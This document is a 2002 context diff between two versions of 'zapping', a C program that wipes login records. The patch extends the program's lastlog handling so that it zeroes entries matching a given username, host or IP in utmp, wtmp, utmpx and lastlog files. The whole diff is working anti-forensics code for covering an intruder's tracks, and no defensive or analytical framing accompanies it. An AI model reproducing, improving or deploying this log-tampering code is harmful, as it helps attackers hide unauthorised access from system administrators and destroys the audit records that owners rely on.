*** zapping-0.2.c	Sat Sep 21 20:24:22 2002
--- zapping-0.2r1.c	Sat Sep 21 20:23:38 2002
***************
*** 7,14 ****
     Without repeating the search of this files in others PATH's.
     It should work on every linux distributions.
   
!    Compile on *BSD:
!    cc -o zapping2 -D__BSD zapping-0.2.c
  */
  
  #include <stdio.h>
--- 7,15 ----
     Without repeating the search of this files in others PATH's.
     It should work on every linux distributions.
   
!    on *BSD compile:
!    $ cc -o zapping2 -D__BSD zapping-0.2.c
!    and change the log files.
  */
  
  #include <stdio.h>
***************
*** 33,39 ****
     3 = 1/3 , 4 = 1/4 .. etc */
  #define PART	2
  /* particionamos el archivo si supera */
! #define	LIMIT	307200	// 300k
  
  typedef struct { int  state; char name[L_FILE]; } un_file ;
  struct a_arch { un_file file[MAXF]; } ; 
--- 34,40 ----
     3 = 1/3 , 4 = 1/4 .. etc */
  #define PART	2
  /* particionamos el archivo si supera */
! #define	LIMIT	614400	// 600k
  
  typedef struct { int  state; char name[L_FILE]; } un_file ;
  struct a_arch { un_file file[MAXF]; } ; 
***************
*** 94,104 ****
    int	  chk=0, count=0;
    struct  passwd  *_pass;
    struct  utmp    uwtmp;
  #ifndef __BSD
    struct  utmpx   uwtmpx;
-   struct  lastlog _lastlog;
- #else
-   struct  utmp	 _lastlog;
  #endif
    /* equis = 1 then utmpx wtmpx else 2 lastlog*/
    equis = _patterncmp("tmpx", name) ;
--- 95,103 ----
    int	  chk=0, count=0;
    struct  passwd  *_pass;
    struct  utmp    uwtmp;
+   struct  lastlog _lastlog;
  #ifndef __BSD
    struct  utmpx   uwtmpx;
  #endif
    /* equis = 1 then utmpx wtmpx else 2 lastlog*/
    equis = _patterncmp("tmpx", name) ;
***************
*** 142,162 ****
  #endif
  	break;
      case 2:  // lastlog
  	if ( type == 0 ) {
- 	 size=sizeof(struct lastlog);
  	 if ( (_pass=getpwnam(pat)) != NULL ) {
  	  fprintf (stderr, "\n  Found %s, uid = %d home = %s", 
  			pat, _pass->pw_uid,  _pass->pw_dir);
  	  lseek(fdesc, _pass->pw_uid * size, SEEK_SET);
  	  memset(&_lastlog, 0x0, size);
  	  write(fdesc, &_lastlog, size);
! 	 } 
! 	} else { 
! 	  fprintf(stderr,"\n  !it could be clean with the username argument"); 
  	}
  	break;
    }
!   if ( count != 0 ) fprintf(stderr, " %d times.", count);
  }
  
  
--- 141,171 ----
  #endif
  	break;
      case 2:  // lastlog
+ 	size=sizeof(struct lastlog);
  	if ( type == 0 ) {
  	 if ( (_pass=getpwnam(pat)) != NULL ) {
  	  fprintf (stderr, "\n  Found %s, uid = %d home = %s", 
  			pat, _pass->pw_uid,  _pass->pw_dir);
  	  lseek(fdesc, _pass->pw_uid * size, SEEK_SET);
  	  memset(&_lastlog, 0x0, size);
  	  write(fdesc, &_lastlog, size);
! 	 } else { fprintf(stderr,"\n  User not found"); } 
! 	} 
! 	if ( type == 1 || type == 2 ) { // aunque sea una IP
! 	 while ( (org=read(fdesc, &_lastlog, size)) > 0) {
! 	 if ( _patterncmp(pat, _lastlog.ll_host) == 1 ) {
! 	  count++;
! 	  if (count==1)fprintf(stderr,"\n  Found %s", pat);
! 	  memset(&_lastlog, 0x0,size);
! 	  lseek(fdesc, -org, SEEK_CUR);
! 	  write(fdesc, &_lastlog, size);
! 	  }
! 	 }
  	}
  	break;
    }
!   if ( count != 0 ) fprintf(stderr, " %d times. Zap.", count);
!     else if ( equis != 2 || type != 0 ) fprintf(stderr,"\n  It's clean.");
  }
  
  
***************
*** 181,187 ****
      if ( rest + size != filesize)
        rest = lseek(fdesc, -size + 1, SEEK_CUR);
    }
!   if ( cant != 0 ) fprintf(stderr,"%d times.", cant);
  }
  
  
--- 190,197 ----
      if ( rest + size != filesize)
        rest = lseek(fdesc, -size + 1, SEEK_CUR);
    }
!   if ( cant != 0 ) fprintf(stderr,"%d times. Zap.", cant);
!     else fprintf(stderr,"\n  It's clean.");
  }
  
  
